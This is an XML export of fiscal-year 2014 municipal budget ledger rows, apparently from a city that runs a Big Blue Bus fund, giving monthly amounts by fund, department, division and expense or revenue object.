<row _id="11621"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>122257.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122257.0</total></row>
<row _id="11622"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>272.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>272.0</total></row>
<row _id="11623"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="11624"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12002.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12002.0</total></row>
<row _id="11625"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>195754.0</july><august>0</august><september>0</september><october>0</october><november>57222</november><december>11538</december><january>-8.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>264506.0</total></row>
<row _id="11626"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>205.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>205.0</total></row>
<row _id="11627"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19293.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19293.0</total></row>
<row _id="11628"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7302.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7302.0</total></row>
<row _id="11629"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2477.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2477.0</total></row>
<row _id="11630"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9650.0</total></row>
<row _id="11631"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4500.0</total></row>
<row _id="11632"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="11633"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>117000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>200000.0</june><total>317000.0</total></row>
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<row _id="11636"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-359.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-359.0</total></row>
<row _id="11637"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-6710.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6710.0</total></row>
<row _id="11638"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-31075.0</july><august>0</august><september>0</september><october>0</october><november>-5358</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36433.0</total></row>
<row _id="11639"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-33800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-33800.0</total></row>
<row _id="11640"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-887.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-887.0</total></row>
<row _id="11641"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16274.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16274.0</total></row>
<row _id="11642"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409008.0</object><object_description>CHILDCARE-APRIL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-31130.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>31130</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11643"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409009.0</object><object_description>CHILDCARE-MAY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-29923.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>29923</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11644"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409010.0</object><object_description>CHILDCARE-JUNE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-29923.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>29923</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11645"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409032.0</object><object_description>CAMP SM-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-8733.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>8733</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11646"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409042.0</object><object_description>ELEM SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-52410.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>52410</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11647"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409052.0</object><object_description>MIDDLE SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-22332.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>22332</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11648"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409053.0</object><object_description>MIDDLE SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-24937.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>24937</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11649"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409061.0</object><object_description>SMSE-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-3640.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>3640</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11650"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409062.0</object><object_description>SMSE-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-7636.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>7636</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11651"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="11652"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="11653"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
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<row _id="11671"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-30750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30750.0</total></row>
<row _id="11672"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577346.0</object><object_description>HAP PORT-IN</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300000.0</total></row>
<row _id="11673"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522620.0</object><object_description>RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100995.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100995.0</total></row>
<row _id="11674"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="11675"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>402260.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2618477.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-3069.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2621546.0</total></row>
<row _id="11676"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>357112.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>357112.0</total></row>
<row _id="11677"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="11678"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400922.0</object><object_description>SPC ADMIN TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-108825</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-108825.0</total></row>
<row _id="11679"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1647.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1647.0</total></row>
<row _id="11680"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-923789.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>923789</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11681"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>65268.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65268.0</total></row>
<row _id="11682"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="11683"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="11684"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="11685"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>578330.0</object><object_description>PORTABLE ADMIN FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="11686"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>97331.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>97331.0</total></row>
